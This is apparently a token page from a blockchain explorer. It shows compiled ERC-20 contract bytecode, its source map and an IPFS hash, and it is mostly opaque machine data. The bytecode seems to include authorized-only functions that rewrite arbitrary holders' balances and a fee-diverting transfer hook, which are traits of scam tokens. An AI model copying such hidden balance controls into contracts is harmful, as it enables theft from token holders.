6f766572666c6f6044820152607760f81b60648201526084016103e6565b600061067d83836040518060400160405280601a815260200179536166654d6174683a206469766973696f6e206279207a65726f60301b815250610c0e565b6001600160a01b0383166108015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e6565b6001600160a01b0382166108625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e6565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006108cf8484610537565b9050600019811461093e578181101561092a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103e6565b61093e84846109398585610ef6565b61079f565b50505050565b6001600160a01b0383166109a85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e6565b6001600160a01b038216610a0a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e6565b6001600160a01b03831660009081526020819052604090205481811015610a825760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e6565b610a8c818361063b565b6001600160a01b038086166000908152602081905260408082209390935590851681522054610abb9083610684565b6001600160a01b038481166000818152602081815260409182902094909455518581529092918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361093e848484610c3c565b6001600160a01b038216600090815260208190526040902054610b3d9082610684565b6001600160a01b0390921660009081526020819052604090209190915550565b6001600160a01b0381166000908152602081905260408120548180527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5805491929091610bab908490610e9d565b90915550506001600160a01b03166000908152602081905260409020670de0b6b3a76400009055565b60008184841115610bf85760405162461bcd60e51b81526004016103e69190610cc4565b506000610c058486610ef6565b95945050505050565b60008183610c2f5760405162461bcd60e51b81526004016103e69190610cc4565b506000610c058486610ed4565b601054610100900460ff1615610c5157505050565b6010805461ff001916610100179055610c69836103fd565b80610c785750610c78826103fd565b15610c8257610cb4565b6000610ca5600e54610c9f600d54856106e190919063ffffffff16565b90610760565b9050610cb2833083610944565b505b50506010805461ff001916905550565b600060208083528351808285015260005b81811015610cf157858101830151858201604001528201610cd5565b81811115610d03576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3057600080fd5b919050565b60008060408385031215610d4857600080fd5b610d5183610d19565b946020939093013593505050565b600080600060608486031215610d7457600080fd5b610d7d84610d19565b9250610d8b60208501610d19565b9150604084013590509250925092565b600060208284031215610dad57600080fd5b61067d82610d19565b60008060408385031215610dc957600080fd5b610dd283610d19565b9150610de060208401610d19565b90509250929050565b600181811c90821680610dfd57607f821691505b60208210811415610e1e57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526018908201527710d85b1b195c881a5cc81b9bdd08185d5d1a1bdc9a5e995960421b604082015260600190565b60208082526017908201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115610eb057610eb0610e87565b500190565b6000816000190483118215151615610ecf57610ecf610e87565b500290565b600082610ef157634e487b7160e01b600052601260045260246000fd5b500490565b600082821015610f0857610f08610e87565b50039056fe8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0a2646970667358221220c0f48726ad3b52f332b009d511ec3e9c26a743b290dc8d9bcd80970c186f1c6a64736f6c634300080c0033
Deployed Bytecode Sourcemap
14107:1819:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11069:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11756:192;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;11756:192:0;1053:187:1;10861:103:0;10949:7;;10861:103;;;1391:25:1;;;1379:2;1364:18;10861:103:0;1245:177:1;11954:243:0;;;;;;:::i;:::-;;:::i;6802:96::-;;;;;;:::i;:::-;6877:6;;-1:-1:-1;;;;;6877:6:0;;;:13;;;;6802:96;10970:93;;;11053:2;2093:36:1;;2081:2;2066:18;10970:93:0;1951:184:1;15818:105:0;;;;;;:::i;:::-;-1:-1:-1;;;;;15891:24:0;15867:4;15891:24;;;:19;:24;;;;;;;;;15818:105;14453:43;;;;;;14331:28;;;;;-1:-1:-1;;;;;14331:28:0;;;;;;-1:-1:-1;;;;;2304:32:1;;;2286:51;;2274:2;2259:18;14331:28:0;2140:203:1;15558:124:0;;;;;;:::i;:::-;;:::i;:::-;;6689:107;;;;;;:::i;:::-;;:::i;15688:124::-;;;;;;:::i;:::-;;:::i;11285:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;11386:18:0;11359:7;11386:18;;;;;;;;;;;;11285:127;7009:148;;;:::i;14538:27::-;;;;;;14503:28;;;;;;6369:79;6434:6;;-1:-1:-1;;;;;6434:6:0;6369:79;;11175:104;;;:::i;11418:175::-;;;;;;:::i;:::-;;:::i;6904:99::-;;;;;;:::i;:::-;;:::i;11599:151::-;;;;;;:::i;:::-;;:::i;7163:244::-;;;;;;:::i;:::-;;:::i;11069:100::-;11123:13;11156:5;11149:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11069:100;:::o;11756:192::-;11839:4;199:10;11886:32;199:10;11902:7;11911:6;11886:8;:32::i;:::-;11936:4;11929:11;;;11756:192;;;;;:::o;11954:243::-;12051:4;199:10;12100:38;12116:4;199:10;12131:6;12100:15;:38::i;:::-;12140:27;12150:4;12156:2;12160:6;12140:9;:27::i;:::-;-1:-1:-1;12185:4:0;;11954:243;-1:-1:-1;;;;11954:243:0:o;15558:124::-;6611:23;6623:10;6611:11;:23::i;:::-;6603:60;;;;-1:-1:-1;;;6603:60:0;;;;;;;:::i;:::-;;;;;;;;;15643:31:::1;15653:7;15662:11;15643:9;:31::i;:::-;15558:124:::0;;:::o;6689:107::-;-1:-1:-1;;;;;6768:20:0;6744:4;6768:20;;;:15;:20;;;;;;;;;6689:107::o;15688:124::-;6611:23;6623:10;6611:11;:23::i;:::-;6603:60;;;;-1:-1:-1;;;6603:60:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15746:24:0;::::1;;::::0;;;:19:::1;:24;::::0;;;;:31;;-1:-1:-1;;15746:31:0::1;15773:4;15746:31;::::0;;15788:16:::1;15766:3:::0;15788:11:::1;:16::i;:::-;15688:124:::0;:::o;7009:148::-;6494:6;;-1:-1:-1;;;;;6494:6:0;199:10;6494:22;6486:58;;;;-1:-1:-1;;;6486:58:0;;;;;;;:::i;:::-;7100:6:::1;::::0;7079:40:::1;::::0;7116:1:::1;::::0;-1:-1:-1;;;;;7100:6:0::1;::::0;-1:-1:-1;;;;;;;;;;;7079:40:0;7116:1;;7079:40:::1;7130:6;:19:::0;;-1:-1:-1;;;;;;7130:19:0::1;::::0;;7009:148::o;11175:104::-;11231:13;11264:7;11257:14;;;;;:::i;11418:175::-;11497:4;199:10;11544:28;199:10;11561:2;11565:6;11544:9;:28::i;6904:99::-;6611:23;6623:10;6611:11;:23::i;:::-;6603:60;;;;-1:-1:-1;;;6603:60:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6968:20:0::1;;::::0;;;:15:::1;:20;::::0;;;;:27;;-1:-1:-1;;6968:27:0::1;6991:4;6968:27;::::0;;6904:99::o;11599:151::-;-1:-1:-1;;;;;11715:18:0;;;11688:7;11715:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11599:151::o;7163:244::-;6494:6;;-1:-1:-1;;;;;6494:6:0;199:10;6494:22;6486:58;;;;-1:-1:-1;;;6486:58:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7252:22:0;::::1;7244:73;;;::::0;-1:-1:-1;;;7244:73:0;;3905:2:1;7244:73:0::1;::::0;::::1;3887:21:1::0;3944:2;3924:18;;;3917:30;3983:34;3963:18;;;3956:62;-1:-1:-1;;;4034:18:1;;;4027:36;4080:19;;7244:73:0::1;3703:402:1::0;7244:73:0::1;7354:6;::::0;7333:38:::1;::::0;-1:-1:-1;;;;;7333:38:0;;::::1;::::0;7354:6:::1;::::0;-1:-1:-1;;;;;;;;;;;7333:38:0;7354:6:::1;::::0;7333:38:::1;7382:6;:17:::0;;-1:-1:-1;;;;;;7382:17:0::1;-1:-1:-1::0;;;;;7382:17:0;;;::::1;::::0;;;::::1;::::0;;7163:244::o;758:136::-;816:7;843:43;847:1;850;843:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;836:50;758:136;-1:-1:-1;;;758:136:0:o;571:179::-;629:7;;661:5;665:1;661;:5;:::i;:::-;649:17;;690:1;685;:6;;677:46;;;;-1:-1:-1;;;677:46:0;;4577:2:1;677:46:0;;;4559:21:1;4616:2;4596:18;;;4589:30;-1:-1:-1;;;4635:18:1;;;4628:57;4702:18;;677:46:0;4375:351:1;1100:246:0;1158:7;1182:6;1178:47;;-1:-1:-1;1212:1:0;1205:8;;1178:47;1235:9;1247:5;1251:1;1247;:5;:::i;:::-;1235:17;-1:-1:-1;1280:1:0;1271:5;1275:1;1235:17;1271:5;:::i;:::-;:10;1263:56;;;;-1:-1:-1;;;1263:56:0;;5328:2:1;1263:56:0;;;5310:21:1;5367:2;5347:18;;;5340:30;5406:34;5386:18;;;5379:62;-1:-1:-1;;;5457:18:1;;;5450:31;5498:19;;1263:56:0;5126:397:1;1354:132:0;1412:7;1439:39;1443:1;1446;1439:39;;;;;;;;;;;;;-1:-1:-1;;;1439:39:0;;;:3;:39::i;12857:344::-;-1:-1:-1;;;;;12959:19:0;;12951:68;;;;-1:-1:-1;;;12951:68:0;;5730:2:1;12951:68:0;;;5712:21:1;5769:2;5749:18;;;5742:30;5808:34;5788:18;;;5781:62;-1:-1:-1;;;5859:18:1;;;5852:34;5903:19;;12951:68:0;5528:400:1;12951:68:0;-1:-1:-1;;;;;13038:21:0;;13030:68;;;;-1:-1:-1;;;13030:68:0;;6135:2:1;13030:68:0;;;6117:21:1;6174:2;6154:18;;;6147:30;6213:34;6193:18;;;6186:62;-1:-1:-1;;;6264:18:1;;;6257:32;6306:19;;13030:68:0;5933:398:1;13030:68:0;-1:-1:-1;;;;;13109:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13161:32;;1391:25:1;;;13161:32:0;;1364:18:1;13161:32:0;;;;;;;12857:344;;;:::o;13207:375::-;13308:24;13335:25;13345:5;13352:7;13335:9;:25::i;:::-;13308:52;;-1:-1:-1;;13375:16:0;:37;13371:204;;13457:6;13437:16;:26;;13429:68;;;;-1:-1:-1;;;13429:68:0;;6538:2:1;13429:68:0;;;6520:21:1;6577:2;6557:18;;;6550:30;6616:31;6596:18;;;6589:59;6665:18;;13429:68:0;6336:353:1;13429:68:0;13512:51;13521:5;13528:7;13537:25;13556:6;13537:16;:25;:::i;:::-;13512:8;:51::i;:::-;13297:285;13207:375;;;:::o;12203:648::-;-1:-1:-1;;;;;12300:18:0;;12292:78;;;;-1:-1:-1;;;12292:78:0;;7026:2:1;12292:78:0;;;7008:21:1;7065:2;7045:18;;;7038:30;7104:34;7084:18;;;7077:62;-1:-1:-1;;;7155:18:1;;;7148:35;7200:19;;12292:78:0;6824:401:1;12292:78:0;-1:-1:-1;;;;;12389:16:0;;12381:74;;;;-1:-1:-1;;;12381:74:0;;7432:2:1;12381:74:0;;;7414:21:1;7471:2;7451:18;;;7444:30;7510:34;7490:18;;;7483:62;-1:-1:-1;;;7561:18:1;;;7554:33;7604:19;;12381:74:0;7230:399:1;12381:74:0;-1:-1:-1;;;;;12539:15:0;;12517:19;12539:15;;;;;;;;;;;12573:21;;;;12565:82;;;;-1:-1:-1;;;12565:82:0;;7836:2:1;12565:82:0;;;7818:21:1;7875:2;7855:18;;;7848:30;7914:34;7894:18;;;7887:62;-1:-1:-1;;;7965:18:1;;;7958:36;8011:19;;12565:82:0;7634:402:1;12565:82:0;12676:23;:11;12692:6;12676:15;:23::i;:::-;-1:-1:-1;;;;;12658:15:0;;;:9;:15;;;;;;;;;;;:41;;;;12727:13;;;;;;;:25;;12745:6;12727:17;:25::i;:::-;-1:-1:-1;;;;;12711:13:0;;;:9;:13;;;;;;;;;;;;:41;;;;12768:26;1391:25:1;;;12711:13:0;;12768:26;;;;;;1364:18:1;12768:26:0;;;;;;;12806:37;12826:4;12832:2;12836:6;12806:19;:37::i;13588:139::-;-1:-1:-1;;;;;13688:16:0;;:9;:16;;;;;;;;;;;:31;;13709:9;13688:20;:31::i;:::-;-1:-1:-1;;;;;13669:16:0;;;:9;:16;;;;;;;;;;:50;;;;-1:-1:-1;13588:139:0:o;13733:164::-;-1:-1:-1;;;;;13825:19:0;;:9;:19;;;;;;;;;;;13800:21;;;;:44;;13825:19;;13800:21;;:44;;13825:19;;13800:44;:::i;:::-;;;;-1:-1:-1;;;;;;;13855:19:0;:9;:19;;;;;;;;;;13877:12;13855:34;;13733:164::o;902:190::-;988:7;1024:12;1016:6;;;;1008:29;;;;-1:-1:-1;;;1008:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1048:9:0;1060:5;1064:1;1060;:5;:::i;:::-;1048:17;902:190;-1:-1:-1;;;;;902:190:0:o;1494:189::-;1580:7;1615:12;1608:5;1600:28;;;;-1:-1:-1;;;1600:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1639:9:0;1651:5;1655:1;1651;:5;:::i;15250:302::-;14732:15;;;;;;;14728:28;;;15250:302;;;:::o;14728:28::-;14766:15;:22;;-1:-1:-1;;14766:22:0;;;;;15368:17:::1;15380:4:::0;15368:11:::1;:17::i;:::-;:36;;;;15389:15;15401:2;15389:11;:15::i;:::-;15364:75;;;15421:7;;15364:75;15445:15;15463:33;15489:6;;15463:21;15474:9;;15463:6;:10;;:21;;;;:::i;:::-;:25:::0;::::1;:33::i;:::-;15445:51;;15507:37;15517:2;15529:4;15536:7;15507:9;:37::i;:::-;15353:199;14790:1;-1:-1:-1::0;;14793:15:0;:23;;-1:-1:-1;;14793:23:0;;;-1:-1:-1;15250:302:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1760:186::-;1819:6;1872:2;1860:9;1851:7;1847:23;1843:32;1840:52;;;1888:1;1885;1878:12;1840:52;1911:29;1930:9;1911:29;:::i;2348:260::-;2416:6;2424;2477:2;2465:9;2456:7;2452:23;2448:32;2445:52;;;2493:1;2490;2483:12;2445:52;2516:29;2535:9;2516:29;:::i;:::-;2506:39;;2564:38;2598:2;2587:9;2583:18;2564:38;:::i;:::-;2554:48;;2348:260;;;;;:::o;2613:380::-;2692:1;2688:12;;;;2735;;;2756:61;;2810:4;2802:6;2798:17;2788:27;;2756:61;2863:2;2855:6;2852:14;2832:18;2829:38;2826:161;;;2909:10;2904:3;2900:20;2897:1;2890:31;2944:4;2941:1;2934:15;2972:4;2969:1;2962:15;2826:161;;2613:380;;;:::o;2998:348::-;3200:2;3182:21;;;3239:2;3219:18;;;3212:30;-1:-1:-1;;;3273:2:1;3258:18;;3251:54;3337:2;3322:18;;2998:348::o;3351:347::-;3553:2;3535:21;;;3592:2;3572:18;;;3565:30;-1:-1:-1;;;3626:2:1;3611:18;;3604:53;3689:2;3674:18;;3351:347::o;4110:127::-;4171:10;4166:3;4162:20;4159:1;4152:31;4202:4;4199:1;4192:15;4226:4;4223:1;4216:15;4242:128;4282:3;4313:1;4309:6;4306:1;4303:13;4300:39;;;4319:18;;:::i;:::-;-1:-1:-1;4355:9:1;;4242:128::o;4731:168::-;4771:7;4837:1;4833;4829:6;4825:14;4822:1;4819:21;4814:1;4807:9;4800:17;4796:45;4793:71;;;4844:18;;:::i;:::-;-1:-1:-1;4884:9:1;;4731:168::o;4904:217::-;4944:1;4970;4960:132;;5014:10;5009:3;5005:20;5002:1;4995:31;5049:4;5046:1;5039:15;5077:4;5074:1;5067:15;4960:132;-1:-1:-1;5106:9:1;;4904:217::o;6694:125::-;6734:4;6762:1;6759;6756:8;6753:34;;;6767:18;;:::i;:::-;-1:-1:-1;6804:9:1;;6694:125::o
Swarm Source
ipfs://c0f48726ad3b52f332b009d511ec3e9c26a743b290dc8d9bcd80970c186f1c6a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.